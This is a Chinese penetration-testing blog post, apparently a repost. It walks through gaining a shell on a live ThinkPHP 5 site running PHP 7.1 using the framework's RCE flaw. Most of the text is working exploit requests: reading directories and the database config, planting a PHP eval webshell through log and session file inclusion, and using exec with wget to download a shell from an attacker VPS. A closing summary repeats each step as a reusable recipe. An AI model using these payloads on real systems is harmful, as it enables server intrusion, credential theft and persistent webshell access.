一次实战中对tp5网站getshell方式的测试 - 渗透测试中心
2022-1-12 16:42:0 Author: www.cnblogs.com(查看原文) 阅读量:156 收藏

0x00 前言

之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payload拿shell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。

0x02 正文

拿到站点后,访问首页如下

测试中,发现是thinkphp的站,报错如下

不过看不出来具体版本,不确定是否存在RCE,于是用exp打一下试试

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo


发现执行成功了,disable_function禁用了挺多函数

一般php版本低于7.1的情况下,接下来直接用exp写shell就可以了
方法一
直接用下面的exp写shell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

但是这个exp中使用了assert,而上面看到php版本是7.1.33,这个版本是已经没办法使用assert了,所以这里这个方法是不能用的

方法二
上面的exp没办法写shell,但是phpinfo是执行了的,那么RCE是存在的。于是想到可以通过读取文件读取数据库的账号密码,然后找到phpmyadmin,就可以通过数据库写shell。
于是首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径


然后通过highlight_file函数读取文件

_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径


拿到数据库信息后,找看看是否存在phpmyadmin,最终发现没有,于是这种方法也失败。

在论坛搜索tp5的getshell方法,发现不少师傅说到可以用日志包含或者session包含的方法,但是之前没接触过,不知道具体的,于是搜索尝试一下。

方法三
尝试日志包含
首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();


失败了,这里日志包含的方法也不可用

方法四
尝试使用session包含的方法来getshell
首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1


然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();


成功执行,接下来通过蚁剑连接即可

成功getshell

www权限

方法五
上面拿到了shell,但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章,是由于disable_function中没有禁用exec,然后利用exec从vps下载shell文件。
于是我仔细看了下disable_function中禁用的函数,巧了,发现也没有禁用exec,那么试一下
首先在vps上创建一个test.php,并用python开放一个端口

python -m SimpleHTTPServer 8888


从vps上下载文件

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec


成功下载到目标机器上

0x03  总结

1.目标网站路径上输入错误的路径,显示网站错误页面是thinkphp,没有显示版本

2.输入tp5.x的RCE poc,显示phpinfo成功,且disable_function禁用了很多函数以及php版本为7.1.x版本

http://www.xxx.com/index.php?s=captcha

post:

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

3.下面方法可直接获得到shell(tp5.x+php7.1.x)

方法一:(php要求低于<php7.1)

http://www.xxx.com/index.php?s=captcha

post:

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert(

方法二:(tp5.x+php7.1.x)

首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo  //显示网站目录为/www/wwwroot/idj/,且目录遍历获取到网站配置根目录(/www/wwwroot/idj/data/conf  )下存在数据库连接的php为database.php

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/www/wwwroot/idj/data/conf  

然后通过highlight_file函数读取文件,并读取到数据库的连接用户名和密码

_method=__construct&filter[]=highlight_file&method=GET&get[]=/www/wwwroot/idj/data/conf/database.php

如果能找到该网站存在phpmyadmin,就可以通过数据库用户和密码进入,并通过mysql  log写入shell

方法三:(tp5.x+php7.1.x,日志包含)

首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/202110/17.log&c=phpinfo();

方法四:(tp5.x+php7.1.x,使用session包含的方法来getshe)

首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

方法四:(tp5.x+php7.1.x,disable_function中没用禁用exec函数)

首先在vps上创建一个test.php,并用python开放一个端口

python -m SimpleHTTPServer 8888

从vps上下载文件

s=wget  http://www.vps.com/test.php&_method=__construct&method=get&filter[]=exec



文章来源: http://www.cnblogs.com/backlion/p/15793264.html
如有侵权请联系:admin#unsafe.sh